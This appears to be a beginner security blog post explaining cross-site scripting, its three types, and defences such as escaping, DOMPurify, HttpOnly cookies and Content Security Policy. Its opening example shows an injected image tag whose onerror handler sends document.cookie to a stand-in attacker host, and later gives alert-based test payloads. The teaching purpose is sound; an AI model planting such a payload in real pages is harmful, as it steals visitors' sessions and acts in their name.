Blog
4 min read

What Is XSS? Cross-Site Scripting Explained for Beginners

Cross-site scripting lets an attacker run their JavaScript in your users' browsers — stealing sessions, changing pages, acting as the user. How XSS works, the three types, why React mostly protects you, the escape hatches that don't, and the defences that matter.

Cross-site scripting — XSS — is one of the most common security holes on the web. It happens when your app displays something a user wrote, and that "something" turns out to be code that runs in other people's browsers.

How it works

Your app lets users write a profile bio. Another user views it. The app puts the bio into the page:

bioElement.innerHTML = user.bio

A normal bio is harmless. But an attacker sets their bio to:

<img src="x" onerror="fetch('https://evil.example/steal?c=' + document.cookie)">

The browser tries to load an image from x, fails, and runs the onerror code — in the page of every person who views that profile, with that person's access. The attacker's script can:

  • Steal session tokens stored where JavaScript can read them, and log in as the victim.
  • Act as the user — change their email, send messages, make purchases — by making requests from their browser.
  • Rewrite the page — show a fake login form, change a bank account number.
  • Read anything on the page, including personal data.

The key problem: the app treated user input as HTML/code instead of as text.

The three types

  • Stored XSS — the malicious input is saved (in a bio, comment, product review) and served to everyone who views it. The most damaging.
  • Reflected XSS — the input comes from the URL and is shown straight back: a search page that displays "Results for: [your search]." An attacker sends a victim a crafted link.
  • DOM-based XSS — the front-end JavaScript itself takes something from the URL or elsewhere and puts it into the page unsafely.

The fix: treat input as text

The core rule is escaping (also called encoding): when displaying user content, convert characters like < and > into their harmless text forms (&lt; and &gt;), so the browser shows them instead of running them.

bioElement.textContent = user.bio   // ✅ shown as text, never run
bioElement.innerHTML = user.bio     // ❌ parsed as HTML

React (and friends) protect you — mostly

Modern frameworks escape by default. In React:

<p>{user.bio}</p>   // ✅ React escapes it automatically

Vue, Svelte, Angular, and most server-side template engines do the same. That's why XSS is less common in modern apps. (What Is React?.)

But every framework has escape hatches, and AI-generated code uses them:

  • dangerouslySetInnerHTML in React — the name is a warning. Common when displaying rich text, Markdown, or content from a CMS.
  • v-html in Vue, {@html} in Svelte.
  • innerHTML, outerHTML, document.write, and insertAdjacentHTML in plain JavaScript.
  • Links from users: <a href={user.website}> — if the value is javascript:alert(1), clicking runs code. Only allow http: and https: URLs.
  • Markdown rendering — many Markdown libraries allow raw HTML through by default.

If you need to display user-supplied HTML (rich text editors, Markdown), sanitize it first with a well-maintained library such as DOMPurify, which removes scripts and dangerous attributes while keeping safe formatting:

import DOMPurify from "dompurify"

<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(post.html) }} />

Defences that limit the damage

  • HttpOnly cookies for sessions. A script can't read a cookie marked HttpOnly, so XSS can't simply steal the session. Tokens in localStorage, by contrast, are readable by any script on the page. (What Is a Cookie?.)
  • Content Security Policy (CSP). A response header telling the browser which scripts are allowed to run. A strong CSP blocks inline scripts and scripts from unknown domains, stopping many XSS attacks even if a hole exists. (Content Security Policy.)
  • Validate input on the server — a username doesn't need < or >. (Form Validation Explained.)
  • Keep dependencies updated — rich text editors and Markdown libraries occasionally have XSS fixes. (How to Update Dependencies Safely.)

How to check your app

  1. Search the code for dangerouslySetInnerHTML, innerHTML, v-html, {@html}, document.write, and insertAdjacentHTML. Each one needs a reason and sanitization.
  2. Check user-provided links are limited to http/https.
  3. Test it. In every field that's displayed to others — name, bio, comment, product title — enter:
    <img src=x onerror=alert(1)>
    
    If an alert box pops up anywhere, you've found XSS.
  4. Check where session tokens are stored.

Or ask your AI tool to do the audit:

Find every place user-provided content is rendered as HTML, every use of dangerouslySetInnerHTML or innerHTML, and every user-provided URL used in a link. For each, explain whether it's safe and fix the ones that aren't with DOMPurify or plain text rendering.


EasySpawn runs your app on your own domain over HTTPS, with a real server where you control response headers like Content-Security-Policy — so XSS defences can live where they're most effective. See how it works or join the waitlist.

Related: SQL Injection Explained · What Is a JWT? · A Security Checklist for Vibe-Coded Apps

Keep reading